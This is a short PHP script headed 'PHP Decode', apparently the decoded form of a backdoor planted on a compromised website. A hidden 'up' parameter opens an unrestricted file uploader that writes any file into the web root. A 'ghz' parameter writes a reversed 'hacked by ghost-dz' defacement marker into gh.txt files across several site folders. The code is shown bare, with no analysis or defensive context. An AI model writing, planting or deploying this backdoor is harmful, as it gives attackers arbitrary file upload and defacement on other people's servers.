PHP Decode

if ( isset($_GET['up']) )
{
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload ok :d !!!</b><br><br>'; }
	else { echo '<b>Upload Fail !!!</b><br><br>'; }
}
exit;
}

if ( isset($_GET['ghz']) )
{
chdir('..'); chdir('..'); $path = getcwd();
$xxx = strrev('zd-tsohg yb dekcah'); 
$fff = fopen($path.'/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
$fff = fopen($path.'/tmp/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
$fff = fopen($path.'/logs/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
$fff = fopen($path.'/images/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
$fff = fopen($path.'/cache/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
exit;
}